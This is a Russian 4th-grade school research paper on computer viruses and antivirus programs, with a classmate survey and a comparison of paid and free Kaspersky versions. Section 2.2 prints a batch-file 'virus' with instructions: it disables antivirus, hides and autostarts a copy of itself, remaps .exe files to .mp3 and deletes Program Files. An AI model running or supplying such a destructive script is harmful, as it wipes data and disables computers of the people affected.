Исследовательская работа "Компьютерные вирусы и борьба с ними"
творческая работа учащихся (4 класс) по теме

VII районная конференция научного общества учащихся

«Первые шаги в науку»

«Компьютерные вирусы и борьба с ними»

Авторы: Ковшова Дарья, Чепурная Кристина,
4 класс, МБОУ УВЕЛЬСКАЯ СОШ №1
Научный руководитель:
Шепелева Татьяна Константиновна,
учитель начальных классов

1 категории,

МБОУ УВЕЛЬСКАЯ СОШ №1

2015

СОДЕРЖАНИЕ

ВВЕДЕНИЕ        

1 ТЕОРЕТИЧЕСКАЯ ЧАСТЬ        

1.1 Понятие компьютерный вирус        

1.2 Классификация вирусов        

1.3 Антивирусные программы        

2 ИССЛЕДОВАТЕЛЬСКАЯ ЧАСТЬ        

2.1 Актуальность применения антивирусных программ.
Проведение опроса среди одноклассников        

2.2 Создание вируса        

2.3 Сравнение антивирусных программ Е. Касперский
лицензионные и бесплатные версии        

2.4 Обобщение и выводы        

ВЫВОД        

СПИСОК  ЛИТЕРАТУРЫ        

ВВЕДЕНИЕ

На столе лежит дискета,

У неё запорчен бут.

Через дырочку в конверте

Её вирусы грызут.

(Народный фольклор)

Вряд ли стоит напоминать, что компьютеры стали настоящими помощниками человека и без них уже не может обойтись ни коммерческая фирма, ни государственная организация, ни современная школа. Однако в связи с этим особенно обострилась проблема защиты информации.

Вирусы, получившие широкое распространение в компьютерной технике, взбудоражили весь мир. Многие пользователи компьютеров обеспокоены слухами о том, что с помощью компьютерных вирусов злоумышленники взламывают сети, грабят банки, крадут интеллектуальную собственность...

Актуальность выбранной темы обусловлена тем, что каждый человек сталкивается с работой на компьютере и сохранением разного рода данных (текстовых документов, рисунков и фотографий, баз данных и т.д.).  И какие потрясения бывают, когда однажды пропадают данные, которые собирались и накапливались,  может не один год…

Чтобы этого не произошло, нужно знать о существовании компьютерных вирусов и уметь защищать свои данные. Какие бывают вирусы, что ждать от их «работы»?

Исходя из выше сказанного тема "Компьютерные вирусы. Методы защиты" имеет большое практическое значение в настоящее время.

Цель исследования: выяснить пути проникновения и влияния вирусов на работу компьютера и найти методы защиты от них. Проанализировать различные виды вирусов и антивирусных программ.

Исходя из темы, можно сформулировать следующие задачи:

1) Раскрыть понятие "компьютерный вирус".

2) Выявить разновидности компьютерных вирусов.

3) Определить признаки появления вирусов на компьютере.

4) Описать современные программы для обнаружения и лечения    

    компьютерных вирусов.

5) Выяснить основные меры борьбы с компьютерными вирусами.

6) Разработать памятку «Правила безопасной работы

    компьютера».

Предмет исследования: методы защиты от компьютерных вирусов.

В процессе работы над темой мы опирались на общенаучные методы исследования,  большой объем литературы и интернет ресурсов.

Объектом исследования  антивирусные программы и влияние вирусов на них.

Гипотеза: Проверка антивирусными программами и систематическое обновление вирусных баз будет препятствовать проникновению и распространению компьютерных вирусов.

Методы исследования:

- теоретические: анализ литературы и других источников информации.

- эмпирические: анкетирование, беседы, наблюдения, эксперимент (создание вирусов на основе bat – файлов).

Этапы работы над проектом:

- Анкетирование одноклассников и родителей;

- Поиск информации в Интернете и других источниках;

- Обучающие занятия с программистом.

- Подготовка презентации.

- Защита проекта.

1 ТЕОРЕТИЧЕСКАЯ ЧАСТЬ

1.1 Понятие компьютерный вирус

Компьютерные вирусы – это маленькие вредоносные программки, следующие в своей жизни только трем заповедям – плодиться, прятаться и портить. Компьютерные вирусы были названы по аналогии с биологическими вирусами за сходный механизм распространения. При этом стоит отметить, что компьютерные вирусы обладают признаками живых: они способны передвигаться, размножаться, расти. Это своего рода уникальные  "существа",  которые породил прогресс.

Компью́терный ви́рус  способен создавать копии самого себя и внедряться в код других программ, системные области памяти, загрузочные секторы, а также распространять свои копии по разнообразным каналам связи с целью нарушения работы программно-аппаратных комплексов, удаления файлов, приведения в негодность структур данных и т.д.

Мнения по поводу даты рождения первого компьютерного вируса расходятся. Доподлинно известно только то, что в самом первом механическом компьютере, так называемой машине Беббиджа, их не было.

Первые появления вирусов были отмечены в конце 60-х – начале 70-х годов. Эти программы-паразиты, которые занимали системные ресурсы и снижали производительность системы.

В середине 70-х был обнаружен один из первых настоящих вирусов – «TheCreeper», который мог самостоятельно войти в сеть через модем и передать свою копию удаленной системе.

Массовое использование компьютеров в автономном режиме и в сети породило проблему заражения их компьютерными вирусами. Первая массовая эпидемия компьютерного вируса произошла в 1986 году. В настоящее время известно несколько миллионов вирусов, заражающих компьютеры.

Во многих странах действуют законодательные меры по борьбе с компьютерными преступлениями и злоумышленными действиями, разрабатываются антивирусные программные средства, однако количество новых программных вирусов возрастает. Лиц, использующих свои знания и опыт для несанкционированного доступа к информационным и вычислительным ресурсам, к получению конфиденциальной и секретной информации, к совершению вредоносных действий, в литературе называют хакерами.

Действия хакеров, или компьютерных хулиганов, могут наносить существенный вред владельцам компьютеров и владельцам (создателям) информационных ресурсов, так как приводят к простоям компьютеров, необходимости восстановления испорченных данных либо к дискредитации юридических или физических лиц, например, путем искажения информации на электронных досках объявлений или на WEB-серверах в Интернет. Мотивы действий компьютерных злоумышленников самые различные:   стремление к финансовым приобретениям; желание навредить, психологические черты человека (зависть, тщеславие, желание как-то проявить себя, просто хулиганство и др.). Но существуют «полезные» хакеры, которые  создают различные вредоносные программы и наблюдают за тем как ведут себя антивирусные программы в борьбе с ними.

1.2 Классификация вирусов

В настоящее время известно более 5000 программных вирусов.  По классификации компьютерные вирусы делятся на файловые, сетевые и макровирусы.

Файловые вирусы внедряются в программу и активируются при их запуске. После запуска зараженной программы вирусы находятся в оперативной памяти компьютера и могут заражать другие файлы до момента выключения компьютера или перезагрузки операционной системы.

Сетевые вирусы могут передавать по компьютерным сетям свой программный код и запускать его на компьютерах, подключенных к этой сети. Заражение сетевым вирусом может произойти при работе с электронной почтой или при «путешествиях» по Всемирной паутине. 

Макровирусы заражают файлы документов, например, текстовых документов. После загрузки зараженного документа в текстовый редактор макровирус постоянно препятствует в оперативной памяти компьютера и может заражать другие документы. Угроза заражения прекращается только  после закрытия текстового документа.

По степени воздействия вирусы можно разделить на следующие виды:

·     неопасные, не мешающие работе компьютера, но уменьшающие объем свободной оперативной памяти и памяти на дисках, действия таких вирусов проявляются в каких-либо графических  или звуковых эффектах

·     опасные вирусы, которые могут привести к различным нарушениям в работе компьютера

·     очень опасные, воздействие которых может привести к потере программ, уничтожению данных, стиранию информации в системных областях диска.

Основные пути распространения вирусов

Согласно статистике службы технической поддержки «Лаборатории Касперского», около 96,4% всех зарегистрированных случаев  заражения были вызваны проникновением вирусов через электронную почту.

Следом за ней находятся Интернет – 2,3%, и мобильные накопители информации (дискеты, СD – ROM, флеш – карты) – 1,3%.

Признаки заражения компьютера:

- вывод на экран непредусмотренных сообщений или изображений

- подача непредусмотренных звуковых сигналов

- неожиданное открытие и закрытие лотка CD – DVD дисковода

- произвольный запуск на компьютере каких – либо программ

- частые «зависания» и сбои в работе компьютера

- медленная работа компьютера при запуске программ

- исчезновение или изменение файлов и папок

- частое обращение к жесткому диску

- «зависание»  или неожиданное поведение браузера

1.3 Антивирусные программы

С давних времен известно, что к любому яду рано или поздно можно найти противоядие. Таким противоядием в компьютерном мире стали программы, называемые антивирусными.

Существует много антивирусных программ:

• AVP=Antiviral Toolkit Pro (www. avp.ru) – Е. Касперский
• Dr Web (www.drweb.com) – И. Данилов
• NOD32 (www.eset.com)
• Avast Home (www.avast.com)
• Norton Antivirus (www.symantec.com)
• Antivir Personal (free – av.com)…

В своем исследовании мы постараемся познакомить вас с принципом действия самых распространенных программ.

Прежде всего, стоит отметить, что антивирусные программы есть платные и бесплатные. Платные версии позволяют постоянно обновлять базу данных. Пользоваться дополнительными функциями для защиты компьютера. База данных антивирусной программы постоянно должна обновляться. Это связано с тем, что каждый день в мире появляются новые разновидности вирусов. Именно поэтому программа может не знать новые вирусы и ваш компьютер будет заражен.

Бесплатная версия программы позволяет бесплатно пользоваться ее возможностями, но определенный срок и некоторые функции будут отсутствовать.

Антивирусная программа позволяет проверять оперативную память, жесткие диски, загрузки компьютера на предмет наличия вирусов. Кроме того они блокируют сайты с подозрительными программами. При обнаружении вирусов программа позволяет пользователю сделать выбор: удалить файл, лечить или отложить действие. Пользователь может управлять программой: когда сканировать, когда обновлять базу.

2 ИССЛЕДОВАТЕЛЬСКАЯ ЧАСТЬ

2.1 Актуальность применения антивирусных программ. Проведение опроса среди одноклассников

Мы пользуемся компьютерами уже 5 лет. Так как мы пользователи еще не опытные были случаи заражения наших  компьютеров. Как узнать заражен ли ваш компьютер?

В нашем исследовании мы провели опрос среди учащихся 4г класса. Вот какие вопросы были представлены:

1. Какую антивирусную программу вы установили на своем компьютере?

2. Вы пользуетесь платной или бесплатной версией программы?

3. Как часто вы проверяете свой компьютер на вирусы?

4. Как часто вы обнаруживаете вирусную угрозу на компьютере?

Учащиеся нашего класса установили на своих компьютерах следующие антивирусные программы: антивирус Касперского, НОРД 32, Аваст. Эти программы являются основными в настоящее время.

Из таблицы видно, что все учащиеся пользуются бесплатной версией программ. Исключение это 2 учеников. В ходе беседы выяснилось, что этими учениками оказались мы,  платные версии были куплены. Таким образом,  можно сделать вывод, что большинство людей не готово платить деньги за антивирусную безопасность. Бесплатная версия устраивает всех. Да она дает нам свои плоды. Но 100% гарантии на обнаружения вирусов конечно нет.

Так же стоит отметить, что основными программами установленными учениками являются Антивирус Касперского и АВАСТ. Это в настоящее время лидеры. Ребята выбирают программы, которые наиболее интуитивно понятны. К тому же те программы, которые не замедляют работу системы.

На вопрос как часто вы проверяете свой компьютер на вирусы,  ученики ответили: "очень редко", "лишь тогда,  когда я обнаруживаю вирус на флеш – карте на другом компьютере". Таким образом, ребята очень редко задумываются о защите компьютера и надеются на то, что они установили программу и так защитили себя.

Так же мы выяснили, что ученики встречаются с вирусами при пользовании сетью Интернет. Если учащиеся начинают искать информацию (реферат, книга, программа), то с вирусной угрозой можно повстречаться в среднем 10 раз.

Проанализировав наш опрос можно сделать вывод. Ученики 4 класса являются группой риска по заражению своих компьютеров вирусами. Для того, чтобы предотвратить это необходимо выработать алгоритм действий противовирусной профилактики и донести это до ребят.

2.2 Создание вируса

        При создании вируса мы работали под руководством программиста В.М. Репнякова.

Для создания вируса воспользуемся текстовым редактором блокнот и на его основе создаём bat файл.

Что представляет собой BAT файл?

Это простой текстовый файл или как говорят в народе батник, имеющий расширение .bat

В этом файле прописан перечень команд и выполняется он с участием командной строки. Когда вы запускаете bat  файл, сначала происходит запуск командной строки cmd, а он в свою очередь начинает считывать все команды в файле и поочерёдно выполнять их.

Для чего создавать BAT файл

В основном такие файлы используют для автоматизации рутинных процессов, например, совершать одно и тоже действие определённое количество раз (запускать или завершать любое количество программ, создавать, редактировать и удалять несколько папок за раз, массово менять имена файлов, копировать, перемещать их) и т.д. а также позволяют писать простые вирусы.

Создание BAT файла

1. Отключаем антивирус
2. для удобства работы создадим на рабочем столе Новую папку
3. снимаем галочку сервис - параметры папок – вид –  скрывать расширения для зарегистрированных типов файлов
4. внутри папки создаём текстовый файл с именем virus.bat (txt заменяем на bat)
5.  открываем данный файл правой кнопкой мыши и копируем в него код вируса

Код вируса:

@Echo off (запрещаем вывод на экран исполняемых команд)

Echo Virus Loading (Выводит на экран надпись «Virus Loading»

Date 24.03.15 (эта строка изменяет дату)

If exist c:ski.bat goto abc (проверяет существует ли файл, …..)

Copy %0 c:ski.bat (копирует вирус только изменив названия)

Attrib +h c:ski.bat ( делает файлу ski.bat атрибут скрытый

Echo c:ski.bat >>autoexec.bat (Прописывает файл ski.bat в автозагрузку

:abc ( ……если он существует, то программа перейдет на метку :abc)

md KRISTINA+DASHA

md KRISTINA

md DASHA (Создает пустые папки)

Label E: VIRUS KRISTINA+DASHA (диск E будет называться VIRUS KRISTINA+DASHA)

assoc .exe=.mp3 (запускает все екзешники как музыка)

del c:Program Files/q (удаляет все файлы из этой папки)

Echo VIRUS LOAD (Выводит надпись)

6. Копируем данный файл на флешку с механической антивирусной защитой (для проверки данного вируса на нескольких компьютерах)
7. Копию вируса оставляем в папке на рабочем столе и включаем антивирусную программу.

2.3 Сравнение антивирусных программ Е. Касперский лицензионные и бесплатные версии

Проверяем работу антивирусных программ на обнаружение файлового вируса. Данные программы успешно справились с обнаружением тела вредоносного кода.

Антивирусные программы предлагают удалить данный вирус либо лечить, так как две версии программ знают наш вредоносный код. Количество вредоносных кодов, которые знают данные программы велико, но база  в бесплатной версии  меньше, чем в платной. Каждый день создается большое количество вирусов, поэтому бесплатные версии не всегда могут быть актуальны, так как приоритет по обнаружению вирусных кодов отдается платной версии и, следовательно, база известных вирусов становится больше.

2.4 Обобщение и выводы

Во избежание заражения домашних и рабочих компьютеров специально для учащихся 4 класса была разработана специализированная памятка «Компьютерные вирусы  и методы борьбы с ними».

ВЫВОД

        Подводя итог своей работы, хотим напомнить, что компьютерные вирусы были и остаются одной из наиболее распространенных причин потери информации и сбоев операционной системы. Чтобы избежать этого, нужно обязательно использовать антивирус. Мы рекомендуем использовать антивирусную программу, которая входит в пятерку лучших:

-        AVP=Antiviral Toolkit Pro (www. avp.ru) – Е. Касперский

-        Dr Web (www.drweb.com) – И. Данилов

-        NOD32 (www.eset.com)

-        Avast Home (www.avast.com)

-        Norton Antivirus (www.symantec.com)

        Хотим напомнить, что  среди этих программ только одна является бесплатной это Avast Home. Стоимость остальных составляет примерно 2 тысячи рублей на один год.

        Не забывайте периодически обновлять антивирусную программу. Антивирусные сканеры способны защищать только от тех компьютерных вирусов, данные о которых сдержаться в антивирусной базе. Поэтому платные версии антивирусных программ содержат более широкие базы распознаваемых компьютерных вирусов.

Исходя из вышесказанного,  можно сделать единственный вывод: вирусы успешно внедрились в повседневную компьютерную жизнь,  и покидать ее в обозримом будущем не собираются.

При всей серьезности проблемы ни один вирус не способен принести столько вреда, сколько начинающий пользователь.

СПИСОК  ЛИТЕРАТУРЫ

1. Косарёв В.П. Компьютерные сети и системы/ Москва: 2000.- 425 с.
2. Файтс  Ф., Джонстон П., Компьютерный вирус: проблемы и прогноз/ Москва: Мир, 1993 г.- 268 с.
3. Безруков Н.Н. Классификация компьютерных вирусов MS-DOS и методы защиты от них / Москва: СП "ICE", 2008 г. – 304с.
4. Мостовой Д.Ю. Современные технологии борьбы с вирусами /Москва: Мир ПК. - №8. - 2010.- 215 с.
5. Денисов Т.В. Антивирусная защита/ Москва: Мой Компьютер-№4-2009г.- 98с.
6. Островских  С. Компьютерные вирусы/ Москва: Информатика № 4 январь 2008.- 112 с.

Ссылки из Интернета

1. http://www.antivirus.rambler.ru/db/
2. http://www.artix.narod.ru/antivir.htm
3. http://www.avpve.ru/viruslistbooks.html?id=4
4. http://www.crime-research.org/library/virus.htm
5. http://www.geocities.com

Приложение 1

В нашем исследовании мы провели опрос среди учащихся 4г класса.

Вот какие вопросы были представлены:

1. Какую антивирусную программу вы установили на своем    

компьютере?

2. Вы пользуетесь платной или бесплатной версией программы?

3. Как часто вы проверяете свой компьютер на вирусы?

4. Как часто вы обнаруживаете вирусную угрозу на компьютере?

Приложение 3

Сравнение антивирусных программ
Е. Касперский платные и бесплатные версии